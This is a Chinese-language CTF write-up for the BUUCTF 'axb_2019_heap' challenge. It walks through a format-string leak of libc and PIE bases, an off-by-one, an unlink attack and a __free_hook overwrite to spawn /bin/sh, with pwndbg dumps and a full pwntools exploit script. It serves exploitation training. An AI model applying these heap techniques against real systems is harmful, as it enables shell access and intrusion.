关于axb_2019_heap的详解

参考:buuctf axb_2019_heap

程序流程

  1. banner:存在格式化字符串漏洞,可以泄漏栈上的信息

  2. add:根据idx创建size(大于0x80)大小的内容为content的块

    块指针和块大小存放在一个全局变量note中

  3. delete:释放的很干净,没有uaf

  4. edit:存在off by one

    get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));

    if ( a2 + 1 <= (unsigned int)v3 )v3是以及输入的长度,a2是给定的长度,存在一个字节的溢出

调试

这个程序没有保留调试信息,不能调试,只能一步步看,,,

GDB调试指南

Reading symbols from axb_2019_heap...(no debugging symbols found)...done.

漏洞利用

  1. 利用格式化字符串泄露栈上信息

    • __libc_start_main+240 => libc基地址

    • (main) ◂— push rbp => 程序基地址

  2. 由于存在全局变量note,故可以利用unlink控制chunk指针

  3. 修改__free_hook为system,get shell

详细过程

1.格式化字符串

计算偏移:直接算或者用工具 => 得到偏移为7

执行到printf(&format);

 ► 0x555555554b4e <banner+105>    call   printf@plt <printf@plt>format: 0x7fffffffde4c ◂— 'aaaaaaaa'vararg: 0x7fffffffb7b0 ◂— 'Hello, our name:'
pwndbg> stack 30
00:0000│ rsp    0x7fffffffde40 ◂— 0x0
01:0008│ rdi-4  0x7fffffffde48 ◂— 0x61616161ffffde60
02:0010│        0x7fffffffde50 ◂— 0x550061616161 /* 'aaaa' */ #输入的数据
03:0018│        0x7fffffffde58 ◂— 0xd23db0a55446d00
04:0020│ rbp    0x7fffffffde60 —▸ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push   r15
05:0028│        0x7fffffffde68 —▸ 0x555555555186 (main+28) ◂— mov    eax, 0
06:0030│        0x7fffffffde70 —▸ 0x7fffffffdf60 ◂— 0x1
07:0038│        0x7fffffffde78 ◂— 0x0
08:0040│        0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push   r15
09:0048│        0x7fffffffde88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax    #可以泄露libc_base
0a:0050│        0x7fffffffde90 ◂— 0x1
0b:0058│        0x7fffffffde98 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe2d3 ◂— '/home/winter/buu/axb_2019_heap'
0c:0060│        0x7fffffffdea0 ◂— 0x1f7ffcca0
0d:0068│        0x7fffffffdea8 —▸ 0x55555555516a (main) ◂— push   rbp   #main起始地址,可以泄露程序基地址

所以__libc_start_main+240的偏移为15,main的偏移为19。

通过计算即可得到libc_base和程序基地址(开启了pie,每次都不一样)

p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))

2.unlink

首先计算note地址 = 程序基地址 + note偏移 => note = pro_base + 0x0202060

接着申请三个块,0x98大小(方便修改下一个chunk)

  • 第一个chunk:构造fake chunk
  • 第二个chunk:用于释放,unlink
  • 第三个chunk:防止第二个chunk和top chunk合并
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55830d656000
Size: 0xa1Allocated chunk | PREV_INUSE
Addr: 0x55830d6560a0
Size: 0xa1Allocated chunk | PREV_INUSE
Addr: 0x55830d656140
Size: 0xa1Top chunk | PREV_INUSE
Addr: 0x55830d6561e0
Size: 0x20e21
pwndbg> x/50gx 0x55830d656000
0x55830d656000: 0x0000000000000000  0x00000000000000a1
0x55830d656010: 0x0000000061616161  0x0000000000000000
0x55830d656020: 0x0000000000000000  0x0000000000000000
0x55830d656030: 0x0000000000000000  0x0000000000000000
0x55830d656040: 0x0000000000000000  0x0000000000000000
0x55830d656050: 0x0000000000000000  0x0000000000000000
0x55830d656060: 0x0000000000000000  0x0000000000000000
0x55830d656070: 0x0000000000000000  0x0000000000000000
0x55830d656080: 0x0000000000000000  0x0000000000000000
0x55830d656090: 0x0000000000000000  0x0000000000000000
0x55830d6560a0: 0x0000000000000000  0x00000000000000a1
0x55830d6560b0: 0x0000000062626262  0x0000000000000000
0x55830d6560c0: 0x0000000000000000  0x0000000000000000
pwndbg> x/30gx 0x55830ca49060
0x55830ca49060 <note>:    0x000055830d656010  0x0000000000000098
0x55830ca49070 <note+16>:    0x000055830d6560b0  0x0000000000000098
0x55830ca49080 <note+32>:    0x000055830d656150  0x0000000000000098
0x55830ca49090 <note+48>:    0x0000000000000000  0x0000000000000000
add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')

通过第一个chunk构造,并off by one修改第二个chunk的大小。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e000
Size: 0xa1Allocated chunk
Addr: 0x55d2cb54e0a0
Size: 0xa0          #修改标志位,表示上一个chunk被释放Allocated chunk | PREV_INUSE
Addr: 0x55d2cb54e140
Size: 0xa1Top chunk | PREV_INUSE
Addr: 0x55d2cb54e1e0
Size: 0x20e21
pwndbg> x/30gx 0x55d2cb54e000
0x55d2cb54e000: 0x0000000000000000  0x00000000000000a1  #第一个chunk
0x55d2cb54e010: 0x0000000000000000  0x0000000000000090  #fake chunk
0x55d2cb54e020: 0x000055d2cb00d048  0x000055d2cb00d050  #fd、bk
0x55d2cb54e030: 0x6161616161616161  0x6161616161616161
0x55d2cb54e040: 0x6161616161616161  0x6161616161616161
0x55d2cb54e050: 0x6161616161616161  0x6161616161616161
0x55d2cb54e060: 0x6161616161616161  0x6161616161616161
0x55d2cb54e070: 0x6161616161616161  0x6161616161616161
0x55d2cb54e080: 0x6161616161616161  0x6161616161616161
0x55d2cb54e090: 0x6161616161616161  0x6161616161616161
0x55d2cb54e0a0: 0x0000000000000090  0x00000000000000a0  #pre_size = 0x90,size = 0xa0
0x55d2cb54e0b0: 0x0000000062626262  0x0000000000000000
0x55d2cb54e0c0: 0x0000000000000000  0x0000000000000000
note = pro_base + 0x0202060
payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))

释放第二个chunk,造成unlink,target = target - 0x18

#没变化
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55682bfdf000
Size: 0xa1Allocated chunk
Addr: 0x55682bfdf0a0
Size: 0xa0Allocated chunk
Addr: 0x55682bfdf140
Size: 0xa0Top chunk | PREV_INUSE
Addr: 0x55682bfdf1e0
Size: 0x20e21
pwndbg> x/30gx 0x55682bfdf000
0x55682bfdf000: 0x0000000000000000  0x00000000000000a1
0x55682bfdf010: 0x0000000000000000  0x0000000000000131  #合并了,大小为0x90 + 0xa0
0x55682bfdf020: 0x00007fea30ac5b78  0x00007fea30ac5b78
0x55682bfdf030: 0x6161616161616161  0x6161616161616161
0x55682bfdf040: 0x6161616161616161  0x6161616161616161
0x55682bfdf050: 0x6161616161616161  0x6161616161616161
0x55682bfdf060: 0x6161616161616161  0x6161616161616161
0x55682bfdf070: 0x6161616161616161  0x6161616161616161
0x55682bfdf080: 0x6161616161616161  0x6161616161616161
0x55682bfdf090: 0x6161616161616161  0x6161616161616161
0x55682bfdf0a0: 0x0000000000000090  0x00000000000000a0
0x55682bfdf0b0: 0x0000000062626262  0x0000000000000000
0x55682bfdf0c0: 0x0000000000000000  0x0000000000000000
pwndbg> x/30gx 0x55682b44c060
0x55682b44c060 <note>:    0x000055682b44c048  0x0000000000000098#target = target - 0x18
0x55682b44c070 <note+16>:    0x0000000000000000  0x0000000000000000
0x55682b44c080 <note+32>:    0x000055682bfdf150  0x0000000000000098
dele(1)

3.修改__free_hook为system

通过第一个chunk,覆盖第一个chunk的指针指向__free_hook的地址

设置第二个chunk为参数“/bin/sh\x00”,只要让chunk2指向后面的地址,在上面的地址布置上字符串即可。

pwndbg> x/30gx 0x55cbe5291060
0x55cbe5291060 <note>:    0x00007f962216f7a8  0x0000000000000098      #__free_hook地址
0x55cbe5291070 <note+16>:    0x000055cbe5291078  0x0068732f6e69622f  #binsh地址 binsh字符串
0x55cbe5291080 <note+32>:    0x000055cbe5975100  0x0000000000000098
0x55cbe5291090 <note+48>:    0x0000000000000000  0x0000000000000000
pwndbg> x/30gx 0x00007f962216f7a8
0x7f962216f7a8 <__free_hook>: 0x0000000000000000  0x0000000000000000
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)

第一个chunk指向__free_hook,往chunk1填入数据就是往__free_hook填入数据,修改其为system地址。

pwndbg> x/30gx 0x5578fc638060
0x5578fc638060 <note>:    0x00007f909293e7a8  0x0000000000000098
0x5578fc638070 <note+16>:    0x00005578fc638078  0x0068732f6e69622f
0x5578fc638080 <note+32>:    0x00005578fd63e100  0x0000000000000098
pwndbg> x/30gx 0x00007f909293e7a8
0x7f909293e7a8 <__free_hook>: 0x00007f90925bd3a0
pwndbg> x/30gx 0x00007f90925bd3a0
0x7f90925bd3a0 <__libc_system>:   0xfa86e90b74ff8548
edit(0,p64(system))

最后,释放第二个chunk即可执行free(2) => system("/bin/sh\x00")

dele(1)

完整exp

from pwn import *p = process("./axb_2019_heap")
# p=remote("node3.buuoj.cn",28733)
context.log_level = 'debug'
elf = ELF("./axb_2019_heap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# libc = ELF("./libc-2.23.so")def cmd(choice):p.recvuntil(">> ")p.sendline(str(choice))def add(idx,size,content):cmd(1)p.recvuntil("to create (0-10):")p.sendline(str(idx))p.recvuntil("Enter a size:")p.sendline(str(size))p.recvuntil("Enter the content:")p.sendline(content)def dele(idx):cmd(2)p.recvuntil("Enter an index:")p.sendline(str(idx))def edit(idx,content):cmd(4)p.recvuntil("Enter an index:")p.sendline(str(idx))p.recvuntil("Enter the content: ")p.sendline(content)p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))libc_base = main_240 - libc.sym['__libc_start_main'] - 240
pro_base = push_rbp - 0x116a
log.success(hex(libc_base))
log.success(hex(pro_base))system = libc_base + libc.sym['system']
note = pro_base + 0x0202060add(0,0x98,'aaaa')
add(1,0x98,'bbbb')
add(2,0x98,'cccc')
print(hex(note))fd = note - 0x18
bk = note - 0x10payload = p64(0) + p64(0x90)
payload += p64(fd) + p64(bk)
payload += 'a' * 0x70
payload += p64(0x90) + p8(0xa0)
print(hex(len(payload)))
edit(0,payload)
print(hex(note))
dele(1)free_hook = libc_base + libc.sym['__free_hook']
payload = p64(0) * 3
payload += p64(free_hook) + p64(0x98)
payload += p64(note + 24) +"/bin/sh\x00"
edit(0,payload)edit(0,p64(system))print(hex(note))
gdb.attach(p)
pause()
dele(1)p.interactive()

组合拳,题型:fmt + off by one + unlink

axb_2019_heap详解相关推荐

  1. 从命令行到IDE,版本管理工具Git详解(远程仓库创建+命令行讲解+IDEA集成使用)

    首先,Git已经并不只是GitHub,而是所有基于Git的平台,只要在你的电脑上面下载了Git,你就可以通过Git去管理"基于Git的平台"上的代码,常用的平台有GitHub.Gi ...

  2. JVM年轻代,老年代,永久代详解​​​​​​​

    秉承不重复造轮子的原则,查看印象笔记分享连接↓↓↓↓ 传送门:JVM年轻代,老年代,永久代详解 速读摘要 最近被问到了这个问题,解释的不是很清晰,有一些概念略微模糊,在此进行整理和记录,分享给大家.在 ...

  3. docker常用命令详解

    docker常用命令详解 本文只记录docker命令在大部分情境下的使用,如果想了解每一个选项的细节,请参考官方文档,这里只作为自己以后的备忘记录下来. 根据自己的理解,总的来说分为以下几种: Doc ...

  4. 通俗易懂word2vec详解词嵌入-深度学习

    https://blog.csdn.net/just_so_so_fnc/article/details/103304995 skip-gram 原理没看完 https://blog.csdn.net ...

  5. 深度学习优化函数详解(5)-- Nesterov accelerated gradient (NAG) 优化算法

    深度学习优化函数详解系列目录 深度学习优化函数详解(0)– 线性回归问题 深度学习优化函数详解(1)– Gradient Descent 梯度下降法 深度学习优化函数详解(2)– SGD 随机梯度下降 ...

  6. CUDA之nvidia-smi命令详解---gpu

    nvidia-smi是用来查看GPU使用情况的.我常用这个命令判断哪几块GPU空闲,但是最近的GPU使用状态让我很困惑,于是把nvidia-smi命令显示的GPU使用表中各个内容的具体含义解释一下. ...

  7. Bert代码详解(一)重点详细

    这是bert的pytorch版本(与tensorflow一样的,这个更简单些,这个看懂了,tf也能看懂),地址:https://github.com/huggingface/pytorch-pretr ...

  8. CRF(条件随机场)与Viterbi(维特比)算法原理详解

    摘自:https://mp.weixin.qq.com/s/GXbFxlExDtjtQe-OPwfokA https://www.cnblogs.com/zhibei/p/9391014.html C ...

  9. pytorch nn.LSTM()参数详解

    输入数据格式: input(seq_len, batch, input_size) h0(num_layers * num_directions, batch, hidden_size) c0(num ...

最新文章

  1. 从创建进程到进入 main 函数,发生了什么?
  2. 标准库中的智能指针shared_ptr
  3. 结构体DIR和dirent
  4. 一次 Java 内存泄漏排查过程,学习学习
  5. html文档定义层标记是,HTML文档定义层的标记是()
  6. 【Java13】cookiesession(登陆案例(2)),jsp(登录案例(3))
  7. IO多路转接之poll
  8. C与java通讯小结
  9. 连接局域网的SQL Server数据库配置
  10. 黑马程序员:java基础学习——数组
  11. CentOS 7 Docker部署phpMyAdmin网站
  12. h264解码延迟优化_h264编解码末尾丢帧问题原因和解决
  13. java 引入微信sdk_手把手教您开发JAVA微信SDK-新手接入
  14. 3d游戏计算机怎么配置要求吗,3DMAX软件对电脑的配置要求
  15. 新年集五福将,免费合成烤仔 “守护神兔” 典藏版 POAP 藏品!快来快来!
  16. Mac中的文件如何拷贝到硬盘中?
  17. 城市空中交通和无人系统的空中交通管制评估
  18. linux解压lzma,如何获得LZMA2文件的解压缩大小(.xz/liblzma)
  19. 达人评测 i5 13500h和i5 12450h选哪个
  20. dxc 5.0 多线程同步

热门文章

  1. json.decoder.JSONDecodeError: Invalid \escape: line 1 column 44 (char 43)
  2. 百趣代谢组学资讯:代谢流与脂质组手段探究肝癌细胞抗放疗真相
  3. doxygen 命令_Doxygen
  4. 项目上传到云服务器中后无法访问的问题(详细排查)
  5. python绘制证券市场线(SML)
  6. 食事の時、日本人は箸を使います。
  7. Python中format的用法 两张ppt搞懂
  8. 朝鲜宣布将采取3项措施应对联合国安理会决议
  9. QT软件开发-基于FFMPEG设计视频播放器-软解图像(一)
  10. 一个粗糙的二人贪吃蛇联机版实现